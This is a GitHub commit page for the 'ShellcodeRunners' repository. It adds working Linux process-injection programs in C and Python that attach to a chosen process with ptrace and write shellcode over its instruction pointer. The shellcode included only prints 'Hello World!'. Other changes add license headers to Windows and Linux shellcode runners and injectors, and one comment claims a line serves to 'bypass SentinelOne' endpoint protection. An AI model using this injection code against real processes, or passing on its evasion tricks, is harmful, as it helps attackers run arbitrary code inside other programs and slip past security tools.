Skip to content

Commit ab9187f

Browse files
mauricelambertmauricelambert
authored
[0.0.2] Process injection Linux
1 parent cd788ae commit ab9187f

8 files changed

+363
-3
lines changed

‎shellcode_injection_Linux.c

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
/*
2+
Copyright (C) 2023 Maurice Lambert
3+
This program is free software: you can redistribute it and/or modify
4+
it under the terms of the GNU General Public License as published by
5+
the Free Software Foundation, either version 3 of the License, or
6+
(at your option) any later version.
7+
This program is distributed in the hope that it will be useful,
8+
but WITHOUT ANY WARRANTY; without even the implied warranty of
9+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
10+
GNU General Public License for more details.
11+
You should have received a copy of the GNU General Public License
12+
along with this program. If not, see <https://www.gnu.org/licenses/>.
13+
*/
14+
15+
#include <stdio.h>
16+
#include <stdlib.h>
17+
#include <string.h>
18+
#include <sys/user.h>
19+
#include <sys/wait.h>
20+
#include <sys/types.h>
21+
#include <sys/ptrace.h>
22+
23+
unsigned char shellcode[] = "\x48\xb8\x72\x6c\x64\x21\x0a\x00\x00\x00\x50\x48\xb8\x48\x65\x6c"
24+
"\x6c\x6f\x20\x57\x6f\x50\x48\xc7\xc7\x01\x00\x00\x00\x48\x89\xe6"
25+
"\x48\xc7\xc2\x0d\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05";
26+
27+
int main(int argc, char **argv) {
28+
if (argc != 2) {
29+
fputs("USAGES: shellcode_injection_Linux <pid>", stderr);
30+
return 1;
31+
}
32+
unsigned int pid = atoi(argv[1]);
33+
34+
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) != 0) {
35+
fputs("ptrace attach failed", stderr);
36+
return 2;
37+
}
38+
39+
if (waitpid(pid, NULL, 0) != pid) {
40+
fputs("wait pid failed", stderr);
41+
return 3;
42+
}
43+
44+
struct user_regs_struct registers;
45+
if (ptrace(PTRACE_GETREGS, pid, NULL, &registers) != 0) {
46+
fputs("ptrace get registers failed", stderr);
47+
return 4;
48+
}
49+
50+
long long unsigned int shellcode_pointer = registers.rip + 2;
51+
52+
long unsigned int * shellcode_parts = (long unsigned int *)shellcode;
53+
for (unsigned int index = 0; index * 8 < sizeof(shellcode); index += 1) {
54+
if (ptrace(PTRACE_POKETEXT, pid, shellcode_pointer, shellcode_parts[index]) != 0) {
55+
fputs("ptrace write data failed", stderr);
56+
return 5;
57+
}
58+
shellcode_pointer += 8;
59+
}
60+
61+
if (ptrace(PTRACE_DETACH, pid, NULL, NULL) != 0) {
62+
fputs("ptrace detach failed", stderr);
63+
return 6;
64+
}
65+
66+
return 0;
67+
}

‎shellcode_injection_Linux.py

Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
#!/usr/bin/env python3
2+
# -*- coding: utf-8 -*-
3+
4+
###################
5+
# This repository implements multiples way to execute
6+
# shellcode with different platforms, systems and languages.
7+
# Copyright (C) 2023 Maurice Lambert
8+
9+
# This program is free software: you can redistribute it and/or modify
10+
# it under the terms of the GNU General Public License as published by
11+
# the Free Software Foundation, either version 3 of the License, or
12+
# (at your option) any later version.
13+
14+
# This program is distributed in the hope that it will be useful,
15+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
16+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17+
# GNU General Public License for more details.
18+
19+
# You should have received a copy of the GNU General Public License
20+
# along with this program. If not, see <https://www.gnu.org/licenses/>.
21+
###################
22+
23+
"""
24+
This repository implements multiples way to execute
25+
shellcode with different platforms, systems and languages.
26+
"""
27+
28+
__version__ = "0.0.1"
29+
__author__ = "Maurice Lambert"
30+
__author_email__ = "mauricelambert434@gmail.com"
31+
__maintainer__ = "Maurice Lambert"
32+
__maintainer_email__ = "mauricelambert434@gmail.com"
33+
__description__ = """
34+
This repository implements multiples way to execute
35+
shellcode with different platforms, systems and languages.
36+
"""
37+
license = "GPL-3.0 License"
38+
__url__ = "https://github.com/mauricelambert/ShellcodeRunners"
39+
40+
copyright = """
41+
ShellcodeRunners Copyright (C) 2023 Maurice Lambert
42+
This program comes with ABSOLUTELY NO WARRANTY.
43+
This is free software, and you are welcome to redistribute it
44+
under certain conditions.
45+
"""
46+
__license__ = license
47+
__copyright__ = copyright
48+
49+
__all__ = []
50+
51+
print(copyright)
52+
53+
from ctypes import cdll, c_char_p, c_ulonglong, c_void_p
54+
from sys import argv, stderr, exit
55+
56+
if len(argv) != 2:
57+
print("USAGES: python3 shellcode_injection_Linux.py <pid:integer>", file=stderr)
58+
exit(1)
59+
60+
pid = int(argv[1])
61+
libc = cdll.LoadLibrary("libc.so.6")
62+
shellcode = (
63+
b"\x48\xb8\x72\x6c\x64\x21\x0a\x00\x00\x00\x50\x48\xb8\x48\x65\x6c"
64+
b"\x6c\x6f\x20\x57\x6f\x50\x48\xc7\xc7\x01\x00\x00\x00\x48\x89\xe6"
65+
b"\x48\xc7\xc2\x0d\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05"
66+
)
67+
68+
if libc.ptrace(16, pid, None, None):
69+
print("ptrace attach failed", file=stderr)
70+
exit(2)
71+
72+
if libc.waitpid(pid, None, 0) != pid:
73+
print("wait pid failed", file=stderr)
74+
exit(3)
75+
76+
registers = c_char_p((b'\0' * 8) * 27)
77+
if libc.ptrace(12, pid, None, registers):
78+
print("ptrace get registers failed", file=stderr)
79+
exit(4)
80+
81+
rip = int.from_bytes(registers._objects[16 * 8:17 * 8], byteorder='little')
82+
rip += 2
83+
84+
while shellcode:
85+
if libc.ptrace(4, pid, c_void_p(rip), c_ulonglong(int.from_bytes(shellcode[:8], byteorder='little'))):
86+
print("ptrace write data failed", file=stderr)
87+
exit(5)
88+
shellcode = shellcode[8:]
89+
rip += 8
90+
91+
if libc.ptrace(17, pid, None, None):
92+
print("ptrace detach failed", file=stderr)
93+
exit(6)
94+
95+
exit(0)

‎shellcode_injection_Windows.c

Lines changed: 17 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,17 @@
1+
/*
2+
Copyright (C) 2023 Maurice Lambert
3+
This program is free software: you can redistribute it and/or modify
4+
it under the terms of the GNU General Public License as published by
5+
the Free Software Foundation, either version 3 of the License, or
6+
(at your option) any later version.
7+
This program is distributed in the hope that it will be useful,
8+
but WITHOUT ANY WARRANTY; without even the implied warranty of
9+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
10+
GNU General Public License for more details.
11+
You should have received a copy of the GNU General Public License
12+
along with this program. If not, see <https://www.gnu.org/licenses/>.
13+
*/
14+
115
#include <windows.h>
216
#include <stdio.h>
317
#include <stdlib.h>
@@ -44,13 +58,13 @@ int main(int argc, char **argv) {
4458
return 1;
4559
}
4660

47-
LPVOID shellcode_pointer = VirtualAllocEx(process_handle, NULL, 319, 0x3000, 0x00000040);
61+
LPVOID shellcode_pointer = VirtualAllocEx(process_handle, NULL, sizeof(shellcode), 0x3000, 0x00000040);
4862
if (process_handle == NULL) {
4963
fputs("NULL shellcode pointer", stderr);
5064
return 2;
5165
}
5266

53-
unsigned int ok = WriteProcessMemory(process_handle, shellcode_pointer, shellcode, 319, NULL);
67+
unsigned int ok = WriteProcessMemory(process_handle, shellcode_pointer, shellcode, sizeof(shellcode), NULL);
5468
if (ok == 0) {
5569
fputs("Write process memory fail.", stderr);
5670
return 3;
@@ -62,7 +76,7 @@ int main(int argc, char **argv) {
6276
return 4;
6377
}
6478
WaitForSingleObject(thread_handle, 1000);
65-
CloseHandle(thread_handle); // bypass SentinelOne
79+
CloseHandle(thread_handle);
6680

6781
CloseHandle(process_handle); // bypass SentinelOne
6882
}

‎shellcode_injection_Windows.py

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,55 @@
1+
#!/usr/bin/env python3
2+
# -*- coding: utf-8 -*-
3+
4+
###################
5+
# This repository implements multiples way to execute
6+
# shellcode with different platforms, systems and languages.
7+
# Copyright (C) 2023 Maurice Lambert
8+
9+
# This program is free software: you can redistribute it and/or modify
10+
# it under the terms of the GNU General Public License as published by
11+
# the Free Software Foundation, either version 3 of the License, or
12+
# (at your option) any later version.
13+
14+
# This program is distributed in the hope that it will be useful,
15+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
16+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17+
# GNU General Public License for more details.
18+
19+
# You should have received a copy of the GNU General Public License
20+
# along with this program. If not, see <https://www.gnu.org/licenses/>.
21+
###################
22+
23+
"""
24+
This repository implements multiples way to execute
25+
shellcode with different platforms, systems and languages.
26+
"""
27+
28+
__version__ = "0.0.1"
29+
__author__ = "Maurice Lambert"
30+
__author_email__ = "mauricelambert434@gmail.com"
31+
__maintainer__ = "Maurice Lambert"
32+
__maintainer_email__ = "mauricelambert434@gmail.com"
33+
__description__ = """
34+
This repository implements multiples way to execute
35+
shellcode with different platforms, systems and languages.
36+
"""
37+
license = "GPL-3.0 License"
38+
__url__ = "https://github.com/mauricelambert/ShellcodeRunners"
39+
40+
copyright = """
41+
ShellcodeRunners Copyright (C) 2023 Maurice Lambert
42+
This program comes with ABSOLUTELY NO WARRANTY.
43+
This is free software, and you are welcome to redistribute it
44+
under certain conditions.
45+
"""
46+
__license__ = license
47+
__copyright__ = copyright
48+
49+
__all__ = []
50+
51+
print(copyright)
52+
153
from ctypes import windll, c_void_p, c_ulonglong, c_char_p, byref, c_ulong
254
from sys import argv, exit, stderr
355

‎shellcode_runner_Windows.py

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,55 @@
1+
#!/usr/bin/env python3
2+
# -*- coding: utf-8 -*-
3+
4+
###################
5+
# This repository implements multiples way to execute
6+
# shellcode with different platforms, systems and languages.
7+
# Copyright (C) 2023 Maurice Lambert
8+
9+
# This program is free software: you can redistribute it and/or modify
10+
# it under the terms of the GNU General Public License as published by
11+
# the Free Software Foundation, either version 3 of the License, or
12+
# (at your option) any later version.
13+
14+
# This program is distributed in the hope that it will be useful,
15+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
16+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17+
# GNU General Public License for more details.
18+
19+
# You should have received a copy of the GNU General Public License
20+
# along with this program. If not, see <https://www.gnu.org/licenses/>.
21+
###################
22+
23+
"""
24+
This repository implements multiples way to execute
25+
shellcode with different platforms, systems and languages.
26+
"""
27+
28+
__version__ = "0.0.1"
29+
__author__ = "Maurice Lambert"
30+
__author_email__ = "mauricelambert434@gmail.com"
31+
__maintainer__ = "Maurice Lambert"
32+
__maintainer_email__ = "mauricelambert434@gmail.com"
33+
__description__ = """
34+
This repository implements multiples way to execute
35+
shellcode with different platforms, systems and languages.
36+
"""
37+
license = "GPL-3.0 License"
38+
__url__ = "https://github.com/mauricelambert/ShellcodeRunners"
39+
40+
copyright = """
41+
ShellcodeRunners Copyright (C) 2023 Maurice Lambert
42+
This program comes with ABSOLUTELY NO WARRANTY.
43+
This is free software, and you are welcome to redistribute it
44+
under certain conditions.
45+
"""
46+
__license__ = license
47+
__copyright__ = copyright
48+
49+
__all__ = []
50+
51+
print(copyright)
52+
153
import ctypes
254

355
shellcode = bytearray(

‎shellcode_runner_linux.c

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,17 @@
1+
/*
2+
Copyright (C) 2023 Maurice Lambert
3+
This program is free software: you can redistribute it and/or modify
4+
it under the terms of the GNU General Public License as published by
5+
the Free Software Foundation, either version 3 of the License, or
6+
(at your option) any later version.
7+
This program is distributed in the hope that it will be useful,
8+
but WITHOUT ANY WARRANTY; without even the implied warranty of
9+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
10+
GNU General Public License for more details.
11+
You should have received a copy of the GNU General Public License
12+
along with this program. If not, see <https://www.gnu.org/licenses/>.
13+
*/
14+
115
#include <stdio.h>
216
#include <string.h>
317
#include <sys/mman.h>

‎shellcode_runner_linux.py

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,55 @@
1+
#!/usr/bin/env python3
2+
# -*- coding: utf-8 -*-
3+
4+
###################
5+
# This repository implements multiples way to execute
6+
# shellcode with different platforms, systems and languages.
7+
# Copyright (C) 2023 Maurice Lambert
8+
9+
# This program is free software: you can redistribute it and/or modify
10+
# it under the terms of the GNU General Public License as published by
11+
# the Free Software Foundation, either version 3 of the License, or
12+
# (at your option) any later version.
13+
14+
# This program is distributed in the hope that it will be useful,
15+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
16+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17+
# GNU General Public License for more details.
18+
19+
# You should have received a copy of the GNU General Public License
20+
# along with this program. If not, see <https://www.gnu.org/licenses/>.
21+
###################
22+
23+
"""
24+
This repository implements multiples way to execute
25+
shellcode with different platforms, systems and languages.
26+
"""
27+
28+
__version__ = "0.0.1"
29+
__author__ = "Maurice Lambert"
30+
__author_email__ = "mauricelambert434@gmail.com"
31+
__maintainer__ = "Maurice Lambert"
32+
__maintainer_email__ = "mauricelambert434@gmail.com"
33+
__description__ = """
34+
This repository implements multiples way to execute
35+
shellcode with different platforms, systems and languages.
36+
"""
37+
license = "GPL-3.0 License"
38+
__url__ = "https://github.com/mauricelambert/ShellcodeRunners"
39+
40+
copyright = """
41+
ShellcodeRunners Copyright (C) 2023 Maurice Lambert
42+
This program comes with ABSOLUTELY NO WARRANTY.
43+
This is free software, and you are welcome to redistribute it
44+
under certain conditions.
45+
"""
46+
__license__ = license
47+
__copyright__ = copyright
48+
49+
__all__ = []
50+
51+
print(copyright)
52+
153
import ctypes
254
import mmap
355

0 commit comments

Comments
 (0)